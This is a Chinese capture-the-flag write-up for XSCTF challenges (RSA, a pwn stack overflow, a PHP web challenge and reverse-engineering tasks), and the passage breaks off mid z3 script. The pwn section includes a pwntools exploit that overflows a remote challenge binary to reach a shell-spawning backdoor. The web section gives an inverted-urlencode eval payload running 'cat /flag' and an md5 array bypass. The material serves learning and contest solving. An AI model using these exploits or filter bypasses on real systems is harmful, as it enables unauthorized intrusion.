Crypto

题目1-easy rsa

使用Mathematica数学软件进行方程求解,并筛选出可行解:

1
2

p:108021842791966417195317937419622020751339914135950392876631389717196303328745122288829568682158007893687475477612171957153023357929933447215358491430114529821247279180738397413290888437255798414771375647208657248398369739278975678290946624554583579122528493521171797723794930492274778459375087426951672521659
q:324491213103511937485837573235633

然后使用RSA解密脚本即可解出明文,然后使用binascii转换为字符串即为flag:

# 解密脚本
import gmpy2
import binascii

# 已知公私钥
n = 35052138809242039609159777275278725458541473751415176437175001503318881522064795786652691106400353446906298757235241396135707610647382094619828643125184505053687643676993728127835906272771669307861545438892003557176894101050915782630518417655550515213032626941985080617066204665902221073674346788849832690541665755364542885371501944903075147
p = 108021842791966417195317937419622020751339914135950392876631389717196303328745122288829568682158007893687475477612171957153023357929933447215358491430114529821247279180738397413290888437255798414771375647208657248398369739278975678290946624554583579122528493521171797723794930492274778459375087426951672521659
q = 324491213103511937485837573235633
e = 65537
c = 32126229895829557420173865487224534062896536751420648497526558901007585083150645063005523675709156042236671834263167769107980622024877911701227453158527711350179148603688096479478647852766951147766763992546472396482472628206738548210314398445021525173762355241909294762807202290826656663671253691179492384064106540693719798019256938412073334

# c = input('请输入密文')
# n = p * q
phi_n = (p - 1) * (q - 1)  # 对n取欧拉函数,p,q均为素数
d = gmpy2.invert(e, phi_n)  # 即e*d mod phi_n = 1 (求逆元)
m = gmpy2.powmod(c, d, n)  # 即m = c^d mod n (求大整数c的d次幂模n取余)
# print(m)  # 求得的明文
flag = str(hex(m))[2:]
# print(flag)
print(binascii.unhexlify(flag).decode())

XSCTF{Crypto_is_easyyyyyyyyyyyyyyyyyyyyy:D}

Pwn

题目1-babystack

本题用IDA分析可以看到有一个整数溢出,解决该溢出后会有buf的栈溢出,需要先解决整数溢出:

scanf中使用%4d来输入,意味着我们可以输入负数,这样对v4进行uint16_t的解释时就会出现回绕(带模加法形成一个阿贝尔群?—>见csapp)

uint16_t向uint32_t进行隐式转换(其实不重要?),2147483646转32位二进制为

01111111 11111111 11111111 11111110

想办法使用负数回绕即可(带模加法形成一个阿贝尔群?—>见csapp),我这里学的不是很扎实,我选择写程序:

#include <stdio.h>
#include <ctype.h>
#include <stdint.h>

int main() {
    int16_t a=0;
    while(1){
        uint32_t b=a;
        if(b>2147483646)
            printf("%d   %d    %hu   %#x\n",a,b,a,b);
        if(++a==0)
            break;
    }
    return 0;
}

实际上就是scanf输入后,无论怎么解释,二进制位不变,C语言中进行uint16_t向uint32_t转换时,貌似会将最高位的符号位进行扩展?(linux的x64),总之写代码就可以找出一系列数:

继续查找函数发现有backdoor()函数可以直接getshell:

直接编写exp:

from pwn import *

p = remote('43.248.97.200', 40054)
# p = process('./babystack')
# p=gdb.debug('./babystack','break main')

pop_rdi_ret = 0x000000004013d3
sys = 0x4010C0
binsh = 0x40209F
# backdoor = 0x4012B7
backdoor = 0x4012BC
# 并不是首地址,跳过了push ebp来栈平衡
# https://zhuanlan.zhihu.com/p/415492654

#payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(binsh) +p64(1)+ p64(sys)
payload = b'a' * 0x59 + p64(backdoor)
# 多输入一个字节才行,原因未知,fastcall的backdoor函数没道理啊?
num = '-156'
p.send(num)
p.sendline(payload)


p.interactive()

此时遇到了栈平衡的问题,也是这题学到的知识点,终于多少弄明白了.

还有一个问题就是,不知为何溢出覆盖时少了一个字节,最后多加了一个字节才成功.

XSCTF{E49AA5B5-B7DA-769B-4AE7-F40A17E09A04}

Web

题目1-eval_eval_我的

打开一看就是eval命令执行,同时有正则检查:

先看后两个,是md5强碰撞绕过,直接传入两个数组即可—如果是数组,那么md5()不仅不会报错,还会返回null,这就绕过了md5().

再看正则,我们预想的是使用system()函数去执行linux命令,但是有正则过滤,这里使用urlencode+取反进行绕过:

这里的函数执行格式为(func)();

所以我们使用php函数分别对函数和参数进行url编码取反

使用在线php网站:

https://www.bejson.com/runcode/php/

依次运行两行命令:

<?php
//echo urlencode(~'system');
echo urlencode(~'cat /flag');
?>

分别获得结果:

1
2
3

%8C%86%8C%8B%9A%92
和
%9C%9E%8B%DF%D0%99%93%9E%98

这样payload就分析好了:

get方法为?xsctf=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

post方法为Xp0int[]=1&Sloth[]=2

使用谷歌浏览器的hackbar插件:

结果:

XSCTF{YoU_F1NalLy_EvaLLL_m3!!}

Reverse

题目1-JSNEWNEW

这个题我最后也没分析出来_H4H4H4和_H4H4H4H4两个函数的原理…

~~但是我会暴力~~

我们可以进行如下测试:

首先对_H4H4H4()进行分析:

function _Y0u(_0x5093c8, _0x291ad5) {
    return _0x5093c8 + _0x291ad5
}

function _C4n(_0x4277b8) {
    return _0x4277b8 & 0xff
}

function _N3v3r(_0x414184, _0x29df09) {
    return _C4n(_0x414184 ^ _0x29df09)
}

function _G37(_0x500f65, _0x1ddb85) {
    return _C4n(_0x500f65 | _0x1ddb85)
}

function _Th15(_0x1621d6, _0x285fc7) {
    return _C4n(_0x1621d6 & _0x285fc7)
}

function _H4(_0x2abb65) {
    return _C4n(~_0x2abb65)
}

function _H4H4(_0x5b22bc) {
    return _C4n(_H4H4H4(_H4(_0x5b22bc), _H4H4H4([], 0x1)))
}

function _H4H4H4(_0x431cb1, _0x516603) {
    return _C4n((_H4(_G37(_H4(_Y0u(_0x431cb1, _0x516603)), _H4(_Y0u(_0x431cb1, _0x516603)))), _H4(_G37(_H4(_Y0u(_0x431cb1, _0x516603)), _H4(_Y0u(_0x431cb1, _0x516603))))))
}

function _H4H4H4H4(_0x1b81b8, _0x11e8ab, _0x2c730f) {
    return a = _H4H4H4(_0x1b81b8, _0x2c730f), a = _H4H4H4(a, _H4H4(_0x11e8ab)), a = _H4H4H4(a, _H4H4(_0x2c730f)), _C4n(a)
}

console.log("_H4H4H4")
num = _H4H4H4(1, 1)
console.log(num) // 2
num = _H4H4H4(1, 0)
console.log(num) // 1
num = _H4H4H4(0, 1)
console.log(num) // 1
num = _H4H4H4(0, 0)
console.log(num) // 0

num = _H4H4H4(3, 3) // 011 011
console.log(num) // 6
num = _H4H4H4(3, 0) // 011 000
console.log(num) // 3
num = _H4H4H4(0, 3) // 000 011
console.log(num) // 3
num = _H4H4H4(3, 2) // 011 010
console.log(num) // 5

num = _H4H4H4(18, 3)
console.log(num) // 21
num = _H4H4H4(21, 56)
console.log(num) // 77
num = _H4H4H4(6, 7) 
console.log(num) // 13
num = _H4H4H4(19, 2) // 011 010
console.log(num) // 21

根据结果进行推测,发现实际上_H4H4H4(a,b)就是(a+b)

再看_H4H4H4H4(a,b,c),这里发现c是一个随机数,我们尝试先固定c,对a,b进行爆破:

console.log("_H4H4H4H4")
rand_num = 0
for(var a=0;a<128;a+=1){
    for(var b=0;b<128;b+=1){
        console.log(_H4H4H4H4(a, b, rand_num))
    }
}

其实多此一举,明文不同,从加密的角度,结果当然不同,我们尝试a,b固定(或者变化范围很小),对c爆破:

console.log("_H4H4H4H4")
globala = 12
globalb = 45
for(var c=0;c<=100;c+=1){
    console.log(_H4H4H4H4(globala, globalb, c))
}

多切换几个globala和globalb,发现在这两个值相同的情况下,随机的c对结果没有任何影响,所以我们大胆猜测这个加密不需要随机数(其实显然加密不能完全随机(?))

这样,尽管我们分析不出来这两个函数,但是通过"爆破"我们可以推测出其功能,我们无需化简,只需要把那一堆函数放在一起即可.

接下来,我们就根据加密的过程进行flag的爆破(代码分析略):

function _Y0u(_0x5093c8, _0x291ad5) {
    return _0x5093c8 + _0x291ad5
}

function _C4n(_0x4277b8) {
    return _0x4277b8 & 0xff
}

function _N3v3r(_0x414184, _0x29df09) {
    return _C4n(_0x414184 ^ _0x29df09)
}

function _G37(_0x500f65, _0x1ddb85) {
    return _C4n(_0x500f65 | _0x1ddb85)
}

function _Th15(_0x1621d6, _0x285fc7) {
    return _C4n(_0x1621d6 & _0x285fc7)
}

function _H4(_0x2abb65) {
    return _C4n(~_0x2abb65)
}

function _H4H4(_0x5b22bc) {
    return _C4n(_H4H4H4(_H4(_0x5b22bc), _H4H4H4([], 0x1)))
}

function _H4H4H4(_0x431cb1, _0x516603) {
    return _C4n((_H4(_G37(_H4(_Y0u(_0x431cb1, _0x516603)), _H4(_Y0u(_0x431cb1, _0x516603)))), _H4(_G37(_H4(_Y0u(_0x431cb1, _0x516603)), _H4(_Y0u(_0x431cb1, _0x516603))))))
}

function _H4H4H4H4(_0x1b81b8, _0x11e8ab, _0x2c730f) {
    return a = _H4H4H4(_0x1b81b8, _0x2c730f), a = _H4H4H4(a, _H4H4(_0x11e8ab)), a = _H4H4H4(a, _H4H4(_0x2c730f)), _C4n(a)
}

enc = [0x55, 0xbf, 0x63, 0xbc, 0x33, 0x95, 0x31, 0x4c, 0x89, 0x6b, 0x49, 0x31, 0x30, 0xdf, 0x63, 0xe5, 0x57, 0xd7, 0x73, 0xa6, 0x6e, 0xd3, 0x63, 0xa1, 0x92, 0x5b, 0x72, 0xe6, 0x8f, 0x76, 0x4f, 0xd0]
key = 'Hur1k'

rand_n = 1
temp1 = 0
temp2 = 0
flag = []
for (var i = 0; i < 32; i += 2) {
    for (var c = 0; c < 128; c += 1) {
        temp1 = (c + i) ^ i
        if(enc[i] == temp1){
            flag['push'](c)
            break
        }
    }
    for (var c = 0; c < 128; c += 1) {
        temp2 = _H4H4H4H4(temp1 ^ c, key['charCodeAt']([i / 0x2 % key['length']]),rand_n)
        if(enc[i+1] == temp2){
            flag['push'](c)
            break
        }
    }
}

var flagString = String.fromCharCode(...flag);
console.log(flagString);

得到UR_R341Ly_900d_47_Obfu_ur_Newn3W

所以flag为:XSCTF{UR_R341Ly_900d_47_Obfu_ur_Newn3W}

题目2-福莱阁佳茶

打开一看114514秒的等待,反手一个patch掉:

这样只需要等2秒~~~

查找字符串发现了可疑字符串,进行交叉引用查找,找到了相关函数,尝试编写解密脚本:

#include <stdio.h>
#include <ctype.h>
#include <stdint.h>
int main() {
    /*char str[] = "]VFQC~Cpkk|Zm4a6Z1kaZv66n:x";
    // puts(str);
    for (int i = 0; i < sizeof(str) / sizeof(str[0]); ++i) {
        putchar(str[i] ^ 5);
        //结果:XSCTF{Funny_h1d3_4nd_s33k?}
    }*/

    char str[] = "@bm#zlv#ejmg#wkf#eobd<";
    // puts(str);

    for (int i = 0; i < sizeof(str) / sizeof(str[0]); ++i) {
        putchar(str[i] ^ 3);
        //结果:Can you find the flag?
    }

    return 0;
}

但是第一个flag并不是真正的flag,还需要继续找.

发现这个函数里还有问题:

太乱了,直接动调,在图中位置下断点,看看运行到这里会发生啥,直接调试:

停在了这里,双击看看Str现在发生了什么变化(说实话我也懒得分析这函数啥时候调用…Orz):

发现和之前跑出来的flag不一样,尝试提交发现确实如此,这才是正确的flag.

这里也能看出代码对flag的后5个字符(不包括'}')进行了进一步处理…

XSCTF{Funny_h1d3_4nd_HId3!}

题目3-lotery_shop

这个题,真就是把flag藏进去了是吧,除了flag的加密和提示字符串有关,其他的和彩票系统一点关系都没有.

分析main函数中的一堆,一个菜单,还有一些随机数生成和检查的相关代码,我倒是了个清楚:

实际上,再仔细对每一个函数分析,就能发现猫腻实际上在程序初始化处理的那个函数中,这个函数原本的职责是用来输出初始的提示信息,并初始化随机数等:

我们可以看到,第31行起,进行了彩票系统相关的处理,例如随机数生成的,但是13行到30行就有猫腻,莫名其妙有一些字符操作.

再看第13行发现其实是调用了malloc函数分配了一段内存.

但是这代码好像没找到有free()函数的调用哈哈哈,可能有问题(也可能我没找到)

那么盲猜这就是flag,动调没出来,不知道是缓冲有问题还是咋的,我直接手动写代码(复制粘贴):

#include <stdio.h>
#include <ctype.h>
int main(){
    char a1[]="Sloth's lottery shop is open!";
    char a2[]="You're our first customer!";
    char a3[]="We will give you a free lottery ticket, the number is: ";
    char a4[]="Please enter your choice {1-5}";
    char a5[]="1.buy a lottery ticket";
    char a6[]="2.Check to see if you won";
    char a7[]="3.join us";
    char a8[]="4.Take a sneak peek at the flag";
    char a9[]="5.exit";
    int a10,a11,a12;

    char malloced_str[1000];
    malloced_str[9] = *a5;
    malloced_str[2] = malloced_str[9];
    malloced_str[1] = *(char *)(a1 + 10) - 12;
    malloced_str[10] = *(char *)(a3 + 5) - 56;
    malloced_str[7] = *(char *)(a6 + 15) - 10;
    malloced_str[13] = toupper((char)(*(char *)(a8 + 3) + 3));
    malloced_str[3] = *(char *)(a2 + 1) + 4;
    malloced_str[11] = toupper((char)(*(char *)(a7 + 7) - 14));
    malloced_str[4] = malloced_str[7];
    *malloced_str = tolower((char)(*a9 + 31));
    malloced_str[8] = toupper(*(char *)(a8 + 27));
    malloced_str[5] = toupper((char)(*(char *)(a4 + 13) - 16));
    malloced_str[6] = malloced_str[3];
    malloced_str[12] = a5[6] - 39;
    puts(malloced_str);

    return 0;
}

结果:

得到flag:

XSCTF{th1s_Is_F14G:D}

题目4-pytea

用DIE查看,发现是用pyinstaller打包的程序:

使用pyinstxtractor进行解包,然后丢到pyc在线反编译网站:

提取下来,分析,就是一个纯TEA加密,我们套脚本,不过我对于TEA不太熟,先搞一波试试水,一个个的打印看看,因为解密出来貌似有一些非可见字符.

#include <stdio.h>
#include <stdint.h>


void encrypt(uint32_t *v, uint32_t *k) {
    uint32_t sum = 0;  // 注意sum也是32位无符号整型
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

    for (int i = 0; i < 32; i++) {
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }

    v[0] = v0;
    v[1] = v1;
}

void decrypt(uint32_t *v, uint32_t *k) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t sum = delta * 32;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

    for (int i = 0; i < 32; i++) {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }

    v[0] = v0;
    v[1] = v1;
}

// test
int main() {
    // 两个32位无符号整数，即待加密的64bit明文数据
    uint32_t v[] = {
            0xFFB5CB6DL, 498681769, 0x93178965L, 1446958341, 0xFFB5CB6DL,
            498681769, 0xD103A1FCL, 0xEA41C188L, 0xFFB5CB6DL, 498681769,
            2119578006, 1735799975, 0xFFB5CB6DL, 498681769, 998166288,
            1533730069, 0xFFB5CB6DL, 498681769, 0xF0B370A5L, 0x8F4854A9L,
            0xFFB5CB6DL, 498681769, 0x93178965L, 1446958341, 0xFFB5CB6DL,
            498681769, 0xE7792E99L, 1516481470, 0xFFB5CB6DL, 498681769,
            0xF0B370A5L, 0x8F4854A9L, 0xFFB5CB6DL, 498681769, 0xB47C2782L,
            0x85FFC9D3L, 0xFFB5CB6DL, 498681769, 1256740478, 0xE4E1C8F7L,
            0xFFB5CB6DL, 498681769, 0xD103A1FCL, 0xEA41C188L, 0xFFB5CB6DL,
            498681769, 1565438833, 0xA0F1C10BL, 0xFFB5CB6DL, 498681769,
            0xC2F51E4DL, 1371444109, 0xFFB5CB6DL, 498681769, 0xF0B370A5L,
            0x8F4854A9L, 0xFFB5CB6DL, 498681769, 0xFE42A23CL, 0x8D5DBC7CL,
            0xFFB5CB6DL, 498681769, 0x9EC5E417L, 401575738, 0xFFB5CB6DL,
            498681769, 998166288, 1533730069, 0xFFB5CB6DL, 498681769,
            0xD103A1FCL, 0xEA41C188L, 0xFFB5CB6DL, 498681769, 1259602668,
            877012692, 0xFFB5CB6DL, 498681769, 1565438833, 0xA0F1C10BL,
            0xFFB5CB6DL, 498681769, 0xF0B370A5L, 0x8F4854A9L, 0xFFB5CB6DL,
            498681769, 0x93178965L, 1446958341, 0xFFB5CB6DL, 498681769,
            0xB2C8C968L, 285984659, 0xFFB5CB6DL, 498681769, 0xF59A7B5DL,
            0xC520BE45L
    };
    // 四个32位无符号整数，即128bit的key
    uint32_t k[4] = {83, 108, 111, 116, 104};

    for (int i = 0; i < 96; i += 2) {
        decrypt(&v[i], k);
        printf("%c%c", v[i], v[i + 1]);
    }

    return 0;
}

这里贴的最终的脚本,实际没影响,直接全输出就行,将空白删掉就是flag:

T1m3_T0_DR1NK_CE31ON_Tea

即

XSCTF{T1m3_T0_DR1NK_CE31ON_Tea}

题目5-奇怪的光之翼

这个题是除了JSNEWNEW外我做的最折磨的一道题…魔改TEA是吧…

密码爷们看了都说好!

分析发现,前面有个假加密,而且不patch的话,程序势必走向这个错误的分支,所以真正的flag在else分支中:

继续分析正确的分支:

题目中有两个SMC(代码自修改技术),不解释,直接用IDA Python进行patch掉,注意patch后,如果需要动调,还需要把原来运行SMC的代码patch掉.

这里已经patch好了,只放IDA Python的脚本:

# 第一个SMC
adr = 0x0404080
for i in range(150):
    temp = get_bytes(adr+i,1)
    temp = int.from_bytes(temp,'little')
    temp = temp ^ 0x55
    patch_byte(adr+i,temp)
print('done')

# 第二个SMC
adr = 0x0404120

for i in range(254,0,-1):
    temp = get_bytes(adr+i,1)
    temp2 = get_bytes(adr+i-1,1)

    temp = int.from_bytes(temp,'little')
    temp2 = int.from_bytes(temp2,'little')

    temp = temp ^ temp2
    patch_byte(adr+i-1,temp)

print('done')

关键函数在这里:

注释就是已经分析出来的结果,我们写代码就行.

注意:

1.第一个加密只进行了1轮,并且v[0]和v[1]的加密顺序需要上下调换(被这个坑卡了好久,一度怀疑自己…)!

1.第一个加密的delta不是默认值!

2.第二个加密进行了33轮而不是32轮!

代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <stdint.h>

void decrypt(uint32_t *v, uint32_t *k) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x9e3779b9;
    uint32_t sum = delta * 33; // 注意是33轮
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

    for (int i = 0; i < 33; i++) {
        // 注意是33轮
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }

    v[0] = v0;
    v[1] = v1;
}

void decrypt2(uint32_t *v, uint32_t *k) {
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0xda740da0; // delta不是默认值
    uint32_t sum = delta * 1; // 只进行一次
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];

    for (int i = 0; i < 1; i++) {
        // 原来的TEA代码中这两行上下需要进行互换
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        sum -= delta;
    }

    v[0] = v0;
    v[1] = v1;
}


int main() {
    unsigned char enc[] =
            {
                    151, 1, 230, 228, 108, 72, 77, 110, 100, 91,
                    201, 234, 169, 5, 191, 10, 30, 182, 36, 110,
                    124, 68, 95, 166, 62, 44, 76, 75, 236, 233,
                    63, 193, 0
            };
    uint32_t key[4] = {
            4660, 22136, 39612, 57072
    };
    for (int i = 0; i <= 3; ++i) {
        decrypt((uint32_t *) &enc[8 * i], (uint32_t *) key);
    }

    for (int i = 0; i <= 3; ++i) {
        /*
        // 注释的这个交换是为了解决v[0]和v[1]的互换,但是发现v5和v6的值没有考虑?
        // 我的密码学不太好,总之直接解密函数中两行上下一交换就行...
        uint32_t * p = (uint32_t *) &enc[8 * i];
        uint32_t temp = p[0];
        p[0] = p[1];
        p[1] = temp;*/
        decrypt2((uint32_t *) &enc[8 * i], (uint32_t *) key);
        /*temp = p[0];
        p[0] = p[1];
        p[1] = temp;*/
    }

    for (int i = 0; i < 32; i++) {
        printf("%c", enc[i]);
    }

    return 0;
}

得出flag:

XSCTF{5MC_1s_v3ry_int3re5t1ng!!}

我出的题

Reverse

题目1-calculate

本题使用python3的z3库即可进行求解线性方程组,主要讲解正则表达式的利用.

打开会发现有一个有个UPX4的加壳,先在linux下进行脱壳.

随后丢进IDA分析,在check()函数中找到flag的检测,每一个if就是一个线性方程.

把所有的if语句的条件提取出来,就构成了一个线性方程组.

由于量比较大,我们先把函数复制出来,删掉其他东西,然后使用正则表达式进行提取:

利用正则表达式进行一步步的处理:

我们直接把if(替换成python的z3库中需要使用到的语句,也就是solver.add(

清一下空格:

发现代码中有位运算,同样处理一下:

记得把最后return语句的那个方程也处理一下

然后把数组转换为一个个的变量:

最终结果:

然后我们就可以使用python的z3库进行运算了,其余细节见脚本的注释:

from z3 import *


# for i in range(1, 32):
#     print('x' + str(i) + ',', end='')
# print(' = Ints(\'', end='')
# for i in range(1, 32):
#     print('x'+str(i),end=' ')
# print('\')')
def calculate():
    x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x20, x21, x22, x23= Ints(
        'x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 x13 x14 x15 x16 x17 x18 x19 x20 x21 x22 x23')
    solver = Solver()

    solver.add(
        212 * x22 + 819 * x21 + 421 * x20 + 814 * x19 + 781 * x18 + 184 * x17 + 709 * x16 + 401 * x15 + 351 * x14 + 993 * x13 + 814 * x12 + 553 * x11 + 495 * x10 + 646 * x9 + 565 * x8 + 271 * x7 + 520 * x6 + 770 * x5 + 335 * x4 + 680 * x3 + 625 * x2 + 215 * x1 + 250 * x0 + 525 * x23 == 1173434)

    solver.add(
        909 * x22 + 819 * x21 + 404 * x20 + 323 * x19 + 961 * x18 + 625 * x17 + 630 * x16 + 760 * x15 + 781 * x14 + 353 * x13 + 207 * x12 + 363 * x11 + 126 * x10 + 569 * x9 + 279 * x8 + 988 * x7 + 115 * x6 + 815 * x5 + 598 * x4 + 186 * x3 + 795 * x2 + 744 * x1 + 371 * x0 + 354 * x23 == 1290416)

    solver.add(
        216 * x22 + 482 * x21 + 239 * x20 + 185 * x19 + 726 * x18 + 809 * x17 + 414 * x16 + 655 * x15 + 771 * x14 + 974 * x13 + 888 * x12 + 784 * x11 + 716 * x10 + 998 * x9 + 251 * x8 + 889 * x7 + 503 * x6 + 594 * x5 + 895 * x4 + 663 * x3 + 145 * x2 + 371 * x1 + 276 * x0 + 609 * x23 == 1339295)

    solver.add(
        361 * x22 + 721 * x21 + 877 * x20 + 449 * x19 + 868 * x18 + 356 * x17 + 138 * x16 + 345 * x15 + 568 * x14 + 310 * x13 + 601 * x12 + 121 * x11 + 590 * x10 + 132 * x9 + 308 * x8 + 928 * x7 + 655 * x6 + 806 * x5 + 538 * x4 + 736 * x3 + 409 * x2 + 697 * x1 + 936 * x0 + 465 * x23 == 1167720)

    solver.add(
        946 * x22 + 620 * x21 + 707 * x20 + 934 * x19 + 729 * x18 + 939 * x17 + 837 * x16 + 672 * x15 + 930 * x14 + 972 * x13 + 970 * x12 + 990 * x11 + 357 * x10 + 721 * x9 + 757 * x8 + 845 * x7 + 355 * x6 + 155 * x5 + 186 * x4 + 201 * x3 + 391 * x2 + 208 * x1 + 269 * x0 + 979 * x23 == 1457642)

    solver.add(
        992 * x22 + 243 * x21 + 970 * x20 + 752 * x19 + 518 * x18 + 657 * x17 + 995 * x16 + 176 * x15 + 837 * x14 + 330 * x13 + 840 * x12 + 806 * x11 + 964 * x10 + 400 * x9 + 207 * x8 + 561 * x7 + 620 * x6 + 147 * x5 + 938 * x4 + 333 * x3 + 957 * x2 + 603 * x1 + 652 * x0 + 366 * x23 == 1424563)

    solver.add(
        650 * x22 + 998 * x21 + 297 * x20 + 634 * x19 + 427 * x18 + 380 * x17 + 174 * x16 + 313 * x13 + 955 * x10 + 712 * x9 + 764 * x8 + 369 * x7 + 923 * x6 + 547 * x5 + 898 * x4 + 587 * x3 + 315 * x2 + 842 * x1 + 425 * x0 + 920 * x11 + 768 * x12 + 784 * x14 + 144 * x15 + 756 * x23 == 1289169)

    solver.add(
        456 * x22 + 943 * x21 + 629 * x20 + 463 * x19 + 154 * x18 + 366 * x17 + 265 * x16 + 253 * x15 + 168 * x14 + 766 * x13 + 689 * x12 + 986 * x11 + 523 * x10 + 756 * x9 + 978 * x8 + 941 * x7 + 684 * x6 + 922 * x5 + 263 * x4 + 162 * x3 + 510 * x2 + 600 * x1 + 655 * x0 + 488 * x23 == 1255084)

    solver.add(
        895 * x22 + 560 * x21 + 701 * x20 + 123 * x19 + 937 * x18 + 922 * x17 + 515 * x16 + 178 * x15 + 467 * x14 + 370 * x13 + 475 * x12 + 346 * x11 + 261 * x10 + 946 * x9 + 921 * x8 + 324 * x7 + 149 * x6 + 809 * x5 + 163 * x4 + 732 * x3 + 228 * x2 + 651 * x1 + 788 * x0 + 248 * x23 == 1244160)

    solver.add(
        174 * x22 + 850 * x21 + 999 * x20 + 430 * x19 + 587 * x18 + 272 * x17 + 361 * x16 + 644 * x15 + 887 * x14 + 180 * x13 + 787 * x12 + 646 * x11 + 275 * x10 + 383 * x9 + 426 * x8 + 208 * x7 + 267 * x6 + 697 * x5 + 226 * x4 + 339 * x3 + 209 * x2 + 388 * x1 + 739 * x0 + 821 * x23 == 1043988)

    solver.add(
        106 * x22 + 247 * x21 + 249 * x20 + 962 * x19 + 138 * x18 + 984 * x17 + 763 * x16 + 934 * x15 + 350 * x14 + 559 * x13 + 913 * x12 + 499 * x11 + 369 * x10 + 855 * x9 + 733 * x8 + 205 * x7 + 446 * x4 + 997 * x3 + 890 * x2 + 101 * x1 + 855 * x0 + 518 * x5 + 192 * x6 + 751 * x23 == 1286775)

    solver.add(
        388 * x22 + 169 * x21 + 579 * x20 + 507 * x19 + 676 * x18 + 673 * x17 + 106 * x16 + 629 * x15 + 657 * x14 + 998 * x13 + 624 * x12 + 677 * x11 + 109 * x10 + 352 * x9 + 344 * x8 + 333 * x7 + 989 * x6 + 383 * x5 + 927 * x4 + 378 * x3 + 868 * x2 + 568 * x1 + 363 * x0 + 408 * x23 == 1212216)

    solver.add(919 * x22 + 396 * x21 + (x20 * pow(2, 7))
               + 167 * x19 + 391 * x18 + 326 * x17 + 992 * x16 + 369 * x15 + 874 * x14 + 322 * x13 + 793 * x12 + 851 * x11 + 312 * x10 + 571 * x9 + 789 * x8 + 641 * x7 + 380 * x6 + 892 * x5 + 368 * x4 + 410 * x3 + 855 * x2 + 223 * x1 + 958 * x0 + 248 * x23 == 1325165)

    solver.add(
        857 * x22 + 651 * x21 + 264 * x20 + 380 * x19 + 967 * x18 + 264 * x17 + 186 * x16 + 249 * x15 + 939 * x14 + 548 * x13 + 101 * x12 + 400 * x11 + 660 * x10 + 317 * x9 + 876 * x8 + 838 * x7 + 231 * x6 + 923 * x5 + 676 * x4 + 896 * x3 + 518 * x2 + 696 * x1 + 401 * x0 + 684 * x23 == 1264958)

    solver.add(
        766 * x22 + 434 * x21 + 662 * x20 + 986 * x19 + 613 * x18 + 145 * x17 + 236 * x16 + 981 * x15 + 917 * x14 + 465 * x13 + 706 * x12 + 480 * x11 + 699 * x10 + 817 * x9 + 617 * x8 + 148 * x7 + 653 * x6 + 299 * x5 + 736 * x4 + 530 * x3 + 867 * x2 + 283 * x1 + 248 * x0 + 575 * x23 == 1281865)

    solver.add(
        924 * x22 + 494 * x21 + 663 * x20 + 282 * x19 + 201 * x18 + 230 * x17 + 198 * x16 + 913 * x15 + 604 * x14 + 167 * x13 + 262 * x12 + 997 * x11 + 238 * x10 + 478 * x9 + 734 * x8 + 878 * x7 + 225 * x6 + 231 * x5 + 508 * x4 + 660 * x3 + 846 * x2 + 400 * x1 + 407 * x0 + 718 * x23 == 1179318)

    solver.add(
        148 * x22 + 815 * x21 + 569 * x20 + 139 * x19 + 142 * x18 + 798 * x17 + 157 * x16 + 871 * x15 + 272 * x14 + 473 * x13 + 574 * x12 + 357 * x11 + 653 * x10 + 678 * x9 + 792 * x8 + 328 * x7 + 125 * x6 + 803 * x5 + 910 * x4 + 210 * x3 + 318 * x2 + 130 * x1 + 240 * x0 + 723 * x23 == 1011571)

    solver.add(
        731 * x22 + 156 * x21 + 542 * x20 + 859 * x19 + 811 * x18 + 715 * x17 + 135 * x16 + 658 * x15 + 122 * x14 + 970 * x13 + 678 * x12 + 920 * x11 + 820 * x10 + 421 * x9 + 392 * x8 + 197 * x7 + 720 * x6 + 622 * x5 + 683 * x2 + 514 * x1 + 782 * x0 + 716 * x3 + 257 * x4 + 945 * x23 == 1289012)

    solver.add(
        157 * x22 + 380 * x21 + 141 * x20 + 650 * x19 + 989 * x18 + 870 * x17 + 247 * x16 + 732 * x15 + 171 * x14 + 854 * x13 + 316 * x12 + 752 * x11 + 369 * x10 + 616 * x9 + 873 * x8 + 691 * x7 + 565 * x6 + 515 * x5 + 973 * x4 + 694 * x3 + 785 * x2 + 451 * x1 + 978 * x0 + 167 * x23 == 1359077)

    solver.add(
        395 * x22 + 161 * x21 + 302 * x20 + 376 * x19 + 393 * x18 + 424 * x17 + 641 * x16 + 670 * x15 + 888 * x14 + 293 * x13 + 921 * x12 + 503 * x11 + 525 * x10 + 200 * x9 + 955 * x8 + 866 * x7 + 597 * x6 + 345 * x5 + 900 * x4 + 638 * x3 + 107 * x2 + 938 * x1 + 642 * x0 + 983 * x23 == 1274421)

    solver.add(
